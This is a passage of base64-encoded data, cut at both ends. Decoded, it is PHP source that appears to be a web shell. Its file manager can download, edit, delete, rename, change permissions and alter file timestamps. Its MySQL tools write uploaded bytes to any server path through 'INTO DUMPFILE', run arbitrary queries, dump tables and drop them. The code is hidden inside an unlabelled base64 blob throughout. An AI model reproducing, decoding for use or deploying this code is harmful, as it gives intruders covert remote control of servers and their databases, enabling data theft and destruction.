c3M9Im53Ij4nLiRmaWxlZGJbJ210aW1lJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBjbGFzcz0ibnci
PicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOwoJCQlwKCc8dGQgY2xhc3M9Im53Ij4nKTsKCQkJ
cCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsn
XS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nIC8gJy4kZmlsZWRiWydmaWxlcGVybSdd
Lic8L2E+Jyk7CgkJCXAoJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBj
bGFzcz0ibnciPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxl
XCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7CgkJCXAo
JzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10u
J1wnKTsiPkNvcHk8L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwn
ZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2Rp
cmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpk
b2ZpbGUoXCdkZWxmXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLCBva2ZpbCkiIHRp
dGxlPSJEZWxldGUiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZp
bGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyIgdGl0bGU9IlJlbmFtZSI+UmVuPC9hPiB8ICcpOwoJ
CQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsn
c2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4n
KTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNz
PSInLmJnKCkuJyI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVl
PSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90
ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBk
b3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZp
bGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJy
aWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3Ry
PicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0KZWxzZWlmKCRoYXogPT0gJ3NxbGYnKSB7Cglp
ZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSdd
OwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmKGZpbGVfZXhpc3RzKCRzYXZl
cGF0aCkpIHsKCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7CgkJfSBl
bHNlIHsKCQkJaWYoISRmaWxlbmFtZSkgewoJCQkJbSgnUGxlYXNlIGNob29zZSBhIGZpbGUnKTsK
CQkJfSBlbHNlIHsKCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7CgkJCQkkY29udGVudHM9
QGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCQkk
Y29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7CgkJCQlpZighJHVwbmFtZSkgJHVwbmFtZSA9
ICRmaWxlWyduYW1lJ107CgkJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFt
ZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRz
fSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsKCQkJCW0oJHJl
c3VsdCA/ICdVcGxvYWQgc3VjY2VzcycgOiAnVXBsb2FkIGhhcyBmYWlsZWQ6ICcubXlzcWxfZXJy
b3IoKSk7CgkJCX0KCQl9Cgl9Cj8+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1
bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJyku
dmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJo
b3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9y
dC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIu
dmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZh
bHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1
ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1
ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3Qg
JiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsK
CSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0Rl
ZmF1bHQnLCd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFy
cmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFr
ZWhpZGUoJ2hheicsJ3NxbGYnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0
KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7Cglw
KCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVl
Jz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2Ri
dXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtl
aW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3Mp
KTsKCXAoJ0RCTmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXpl
Jz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChh
cnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRj
aGFyc2V0KSk7CglwKCI8L3A+XG48L2Zvcm0+Iik7CglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYu
JyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBpZD0ibXlzcWxm
aWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48Yj5UaGlzIG9wZXJh
dGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7CglwKCc8
cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0
aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0i
aW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3Jp
cHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOwoJcCgnPGgy
PkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIg
bmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2
YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7Cglt
YWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtlaGlkZSgnZGJ1c2Vy
Jyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7CgltYWtlaGlkZSgn
Y2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnaGF6Jywnc3FsZicpOwoJ
cCgnPC9mb3JtPicpOwp9CmVsc2VpZigkaGF6PT0nc3FsYWRtaW4nKSB7CgkhJGRiaG9zdCAmJiAk
ZGJob3N0ID0gJ2xvY2FsaG9zdCc7CgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOwoJISRk
YnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsKCSRkYmZvcm0gPSAnPGlucHV0IHR5cGU9ImhpZGRl
biIgaWQ9ImNvbm5lY3QiIG5hbWU9ImNvbm5lY3QiIHZhbHVlPSIxIiAvPic7CglpZihpc3NldCgk
ZGJob3N0KSl7CgkJJGRiZm9ybSAuPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImRiaG9zdCIg
bmFtZT0iZGJob3N0IiB2YWx1ZT0iJy4kZGJob3N0LiciIC8+Jy4iXG4iOwoJfQoJaWYoaXNzZXQo
JGRidXNlcikpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJ1
c2VyXCIgbmFtZT1cImRidXNlclwiIHZhbHVlPVwiJGRidXNlclwiIC8+XG4iOwoJfQoJaWYoaXNz
ZXQoJGRicGFzcykpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwi
ZGJwYXNzXCIgbmFtZT1cImRicGFzc1wiIHZhbHVlPVwiJGRicGFzc1wiIC8+XG4iOwoJfQoJaWYo
aXNzZXQoJGRicG9ydCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlk
PVwiZGJwb3J0XCIgbmFtZT1cImRicG9ydFwiIHZhbHVlPVwiJGRicG9ydFwiIC8+XG4iOwoJfQoJ
aWYoaXNzZXQoJGRibmFtZSkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwi
IGlkPVwiZGJuYW1lXCIgbmFtZT1cImRibmFtZVwiIHZhbHVlPVwiJGRibmFtZVwiIC8+XG4iOwoJ
fQoJaWYoaXNzZXQoJGNoYXJzZXQpKSB7CgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRk
ZW5cIiBpZD1cImNoYXJzZXRcIiBuYW1lPVwiY2hhcnNldFwiIHZhbHVlPVwiJGNoYXJzZXRcIiAv
PlxuIjsKCX0KCWlmKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICRzYXZlYXNmaWxlKSB7CgkJ
aWYoISR0YWJsZSkgewoJCQltKCdQbGVhc2UgY2hvb3NlIHRoZSB0YWJsZScsJ2UnKTsKCQl9IGVs
c2UgewoJCQkkbG5rPWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFy
c2V0LCRkYnBvcnQpOwoJCQkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7CgkJCSRmcCA9IEBm
b3BlbigkcGF0aCwndycpOwoJCQlpZigkZnApIHsKCQkJCSRyZXN1bHQgPSBxKCdTSE9XIHRhYmxl
cycpOwoJCQkJaWYoISRyZXN1bHQpIHAoJzxoMj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7CgkJ
CQkkbXlzcWxkYXRhID0gJyc7CgkJCQl3aGlsZSgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXko
JHJlc3VsdCkpIHsKCQkJCQlpZihpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7CgkJCQkJCXNx
bGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOwoJCQkJCX0KCQkJCX0KCQkJCWZjbG9zZSgkZnAp
OwoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShGX1JPT1QsJycsJHBhdGgpOwoJCQkJbSgnRGF0
YWJhc2UgaGFzIHN1Y2Nlc3MgYmFja3VwIHRvIDxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0
PSJfYmxhbmsiPicuJHBhdGguJzwvYT4nKTsKCQkJCW15c3FsX2Nsb3NlKCRsbmspOwoJCQl9IGVs
c2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcsJ2UnKTsKCQkJfQoJCX0KCX0KCWlmKCRpbnNlcnQg
JiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVh
Y2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYoJHZhbCkgewoJCQkJJGtleXN0
ciAuPSAkdG1wLiRrZXk7CgkJCQkkdmFsc3RyIC49ICR0bXAuIiciLmFkZHNsYXNoZXMoJHZhbCku
IiciOwoJCQkJJHRtcCA9ICcsJzsKCQkJfQoJCX0KCQlpZigka2V5c3RyICYmICR2YWxzdHIpIHsK
CQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9y
dCk7CgkJCW0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFs
c3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7
CgkJfQoJfQoJaWYoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3Ry
ID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJ
JHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9
ICcsJzsKCQl9CgkJaWYoJHZhbHN0cikgewoJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNl
NjQpOwoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwk
ZGJwb3J0KTsKCQkJbShxKCJVUERBVEUgJHRhYmxlbmFtZSBTRVQgJHZhbHN0ciBXSEVSRSAkd2hl
cmUgTElNSVQgMSIpID8gJ1JlY29yZCB1cGRhdGluZycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9
CglpZigkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgewoJCSR3aGVyZSA9IGJhc2U2NF9kZWNv
ZGUoJGJhc2U2NCk7CgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVS
RSAkd2hlcmUiOwoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFy
c2V0LCRkYnBvcnQpOwoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUi
KSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCX0KCWlm
KCR0YWJsZW5hbWUgJiYgJGRvaW5nID09ICdkcm9wJykgewoJCWRiY29ubigkZGJob3N0LCRkYnVz
ZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOwoJCWlmKHEoIkRST1AgVEFCTEUg
JHRhYmxlbmFtZSIpKSB7CgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOwoJCQkkdGFibGVu
YW1lID0gJyc7CgkJfSBlbHNlIHsKCQkJbShteXNxbF9lcnJvcigpKTsKCQl9Cgl9CgkkY2hhcnNl
dHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRp
bjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBNYW5hZ2VyJykpOwoJbWFrZWhp
ZGUoJ2hheicsJ3NxbGFkbWluJyk7CglwKCc8cD4nKTsKCXAoJ0RCSG9zdDonKTsKCW1ha2VpbnB1
dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOwoJ
cCgnOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1
ZSc9PiRkYnBvcnQpKTsKCXAoJ0RCVXNlcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidk
YnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOwoJcCgnREJQYXNzOicpOwoJbWFr
ZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNz
KSk7CglwKCdEQkNoYXJzZXQ6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQn
LCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsKCW1ha2VpbnB1dChh
cnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0
JywnY2xhc3MnPT4nYnQnKSk7CglwKCI8L3A+XG48L2Zvcm0+Iik7Cj8+Cgo8c2NyaXB0IHR5cGU9
InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGVkaXRyZWNvcmQoaGF6LCBiYXNlNjQsIHRhYmxl
bmFtZSl7CglpZihoYXogPT0gJ2RlbCcpIHsKCQlpZighY29uZmlybSgnSXMgb3IgaXNuXCd0IGRl
bGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOwoJfQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVl
PWhhejsKCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OwoJJCgncmVjb3JkbGlz
dCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7
Cn0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgewoJaWYoIWRibmFtZSkgcmV0dXJuOwoJJCgn
c2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsKCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgp
Owp9CmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7CglpZighdGFibGVu
YW1lKSByZXR1cm47CglpZihkb2luZykgewoJCSQoJ3NldHRhYmxlJykuZG9pbmcudmFsdWU9ZG9p
bmc7Cgl9CglpZihwYWdlKSB7CgkJJCgnc2V0dGFibGUnKS5wYWdlLnZhbHVlPXBhZ2U7Cgl9Cgkk
KCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdzZXR0YWJsZScpLnN1
Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocApmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZWNvcmRs
aXN0JykpOwptYWtlaGlkZSgnZG9pbmcnKTsKbWFrZWhpZGUoJ2hheicsJ3NxbGFkbWluJyk7Cm1h
a2VoaWRlKCdiYXNlNjQnKTsKbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwpwKCRkYmZvcm0pOwpwKCc8
L2Zvcm0+Jyk7CmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsKbWFrZWhpZGUo
J2hheicsJ3NxbGFkbWluJyk7CnAoJGRiZm9ybSk7CmlmKCEkZGJuYW1lKSB7CgltYWtlaGlkZSgn
ZGJuYW1lJyk7Cn0KcCgnPC9mb3JtPicpOwpmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJs
ZScpKTsKbWFrZWhpZGUoJ2hheicsJ3NxbGFkbWluJyk7CnAoJGRiZm9ybSk7Cm1ha2VoaWRlKCd0
YWJsZW5hbWUnKTsKbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsKbWFrZWhpZGUoJ2RvaW5nJyk7CnAo
JzwvZm9ybT4nKTsKJGNhY2hldGFibGVzID0gYXJyYXkoKTsKJHBhZ2VudW0gPSAzMDsKJHBhZ2Ug
PSBpbnR2YWwoJHBhZ2UpOwppZigkcGFnZSkgewoJJHN0YXJ0X2xpbWl0ID0gKCRwYWdlIC0gMSkg
KiAkcGFnZW51bTsKCX0gZWxzZSB7Cgkkc3RhcnRfbGltaXQgPSAwOwoJJHBhZ2UgPSAxOwp9Cmlm
KGlzc2V0KCRkYmhvc3QpICYmIGlzc2V0KCRkYnVzZXIpICYmIGlzc2V0KCRkYnBhc3MpICYmIGlz
c2V0KCRjb25uZWN0KSkgewoJJGxuaz1kYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywg
JGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZl
cl9pbmZvKCk7CglwKCc8Zm9ybSBpZD0ic2V0ZGJuYW1lIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0i
Jy4kc2VsZi4nIj4KCTxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3Qu
JyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsKCSRoaWdodmVyID0gJG15c3FsdmVy
ID4gJzQuMScgPyAxIDogMDsKCSRxdWVyeSA9IHEoIlNIT1cgREFUQUJBU0VTIik7CgkkZGJzID0g
YXJyYXkoKTsKCSRkYnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7Cgl3aGlsZSgkZGIg
PSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0g
JGRiWydEYXRhYmFzZSddOwoJfQoJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nUGxlYXNlIHNl
bGVjdCBhIGRhdGFiYXNlOicsJ25hbWUnPT4nZGJbXScsJ29wdGlvbic9PiRkYnMsJ3NlbGVjdGVk
Jz0+JGRibmFtZSwnb25jaGFuZ2UnPT4nbW9kZGJuYW1lKHRoaXMub3B0aW9uc1t0aGlzLnNlbGVj
dGVkSW5kZXhdLnZhbHVlKScsJ25ld2xpbmUnPT4xKSk7CglwKCc8L2Zvcm0+Jyk7CgkkdGFibGVk
YiA9IGFycmF5KCk7CglpZigkZGJuYW1lKSB7CgkJcCgnPHA+Jyk7CgkJcCgnQ3VycmVudCBkYWJh
YmFzZTogPGEgaHJlZj0iamF2YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicu
JGRibmFtZS4nPC9hPicpOwoJCWlmKCR0YWJsZW5hbWUpIHsKCQkJcCgnIHwgQ3VycmVudCBUYWJs
ZTogPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4k
dGFibGVuYW1lLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxl
bmFtZS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6
c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwv
YT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdk
cm9wXCcpOyI+RHJvcDwvYT4gXScpO30KCQkJcCgnPC9wPicpOwoJCQlteXNxbF9zZWxlY3RfZGIo
JGRibmFtZSk7CgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYoJHNx
bF9xdWVyeSkgewoJCQkJJHJ1bnF1ZXJ5ID0gMTsKCQkJfQoJCQkkYWxsb3dlZGl0ID0gMDsKCQkJ
aWYoJHRhYmxlbmFtZSAmJiAhJHNxbF9xdWVyeSkgewoJCQkJJHNxbF9xdWVyeSA9ICJTRUxFQ1Qg
KiBGUk9NICR0YWJsZW5hbWUiOwoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7CgkJCQkkc3Fs
X3F1ZXJ5ID0gJHNxbF9xdWVyeS4iIExJTUlUICRzdGFydF9saW1pdCwgJHBhZ2VudW0iOwoJCQkJ
JGFsbG93ZWRpdCA9IDE7CgkJCX0KCQkJcCgnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+
Jyk7CgkJCXAoJzxwPjx0YWJsZSB3aWR0aD0iMjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIw
IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZCBjb2xzcGFuPSIyIj5SdW4gU1FMIHF1ZXJ5L3F1ZXJp
ZXMgb24gZGF0YWJhc2UgJy4kZGJuYW1lLic6PC90ZD48L3RyPjx0cj48dGQ+PHRleHRhcmVhIG5h
bWU9InNxbF9xdWVyeSIgY2xhc3M9ImFyZWEiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NTBw
eDtvdmVyZmxvdzphdXRvOyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnksRU5UX1FVT1RF
UykuJzwvdGV4dGFyZWE+PC90ZD48dGQgc3R5bGU9InBhZGRpbmc6MCA1cHg7Ij48aW5wdXQgY2xh
c3M9ImJ0IiBzdHlsZT0iaGVpZ2h0OjUwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIg
dmFsdWU9IlF1ZXJ5IiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvcD4nKTsKCQkJbWFrZWhpZGUoJ3Rh
YmxlbmFtZScsICR0YWJsZW5hbWUpOwoJCQltYWtlaGlkZSgnaGF6Jywnc3FsYWRtaW4nKTsKCQkJ
cCgkZGJmb3JtKTsKCQkJcCgnPC9mb3JtPicpOwoJCQlpZigkdGFibGVuYW1lIHx8ICgkcnVucXVl
cnkgJiYgJHNxbF9xdWVyeSkpIHsKCQkJCWlmKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJ
CSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJJHJvd2Ri
ID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkp
IHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIw
IiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBjbGFzcz0i
